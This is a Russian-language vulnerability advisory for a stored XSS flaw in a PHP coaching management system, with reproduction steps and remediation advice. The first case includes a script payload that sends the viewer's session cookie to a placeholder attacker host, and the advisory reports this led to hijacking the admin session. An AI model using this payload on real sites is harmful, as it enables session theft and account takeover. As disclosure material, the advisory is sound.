Хранимая межсайтовая XSS-уязвимость в системе управления репетиторством приводит к захвату учётной записи
Продукт
Система управления репетиторством на PHP (Code-Projects.org)
https://code-projects.org/coaching-management-system-in-php-with-source-code/
Затронутые компоненты
- /modules/student/complaint.php (отправка жалобы)
- /modules/admin/incomingcomplaint.php (просмотр жалобы)
- Функциональность ответа на жалобу (Администратор/Преподаватель → Студент)
Версия
Неизвестно (производитель не предоставил информацию о версии; протестировано на последней доступной версии с Code-Projects.org по состоянию на апрель 2026 года)
Тип уязвимости
CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы (хранимый межсайтовый скриптинг)
Описание
Приложение не выполняет надлежащую очистку вводимых пользователем данных в функциональности жалоб и ответов. Вредоносный JavaScript, внедрённый пользователем с низкими привилегиями, сохраняется и выполняется при просмотре пользователями с более высокими привилегиями, такими как администраторы или преподаватели.
Кроме того, функциональность ответов также уязвима, что позволяет администраторам или преподавателям внедрять JavaScript, который выполняется в сессиях студентов.
Это приводит к хранимой XSS-уязвимости, затрагивающей несколько ролей пользователей.
Шаги воспроизведения
Случай 1: Студент → Администратор (повышение привилегий)
-
Войдите как студент
-
Перейдите к:
/modules/student/complaint.php

-
Отправьте жалобу со следующей полезной нагрузкой:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
-
Войдите как администратор
-
Перейдите к:
/modules/admin/incomingcomplaint.php

-
Когда администратор просматривает жалобу, полезная нагрузка выполняется автоматически
-
Cookie сессии администратора отправляется на сервер, контролируемый атакующим
-
Используйте украденный cookie сессии, чтобы перехватить сессию администратора

Случай 2: Администратор → Студент (обратная XSS)
- Войдите как администратор
- Ответьте на жалобу, используя полезную нагрузку:
- Войдите как студент
- Просмотрите ответ на жалобу
Доказательства PoC
- Выполнение JavaScript подтверждено в панели администратора при просмотре вредоносной жалобы
- Cookie сессии (PHPSESSID) успешно экфильтрован на сервер, контролируемый атакующим
- Сессия администратора перехвачена с использованием украденного cookie
- Выполнение JavaScript подтверждено в панели студента через функциональность ответов
Воздействие
- Пользователи с низкими привилегиями (студенты) могут выполнять произвольный JavaScript в контексте администратора
- Приводит к перехвату сессии из-за отсутствия флага HttpOnly
- Полный захват учётной записи администратора
- Двунаправленная XSS позволяет скомпрометировать несколько ролей (Администратор, Преподаватель, Студент)
- Полная компрометация целостности, конфиденциальности и доступности приложения
Серьёзность: CRITICAL
Корневая причина
- Отсутствие очистки входных данных
- Отсутствие кодирования вывода
- Отсутствие защитных мер для session cookies (флаг HttpOnly не установлен)
Рекомендации
- Очищайте и проверяйте все пользовательские вводы.
- Кодируйте вывод с помощью таких функций, как htmlspecialchars() в PHP
- Устанавливайте флаги HttpOnly и Secure для session cookies
- Внедряйте Content Security Policy (CSP)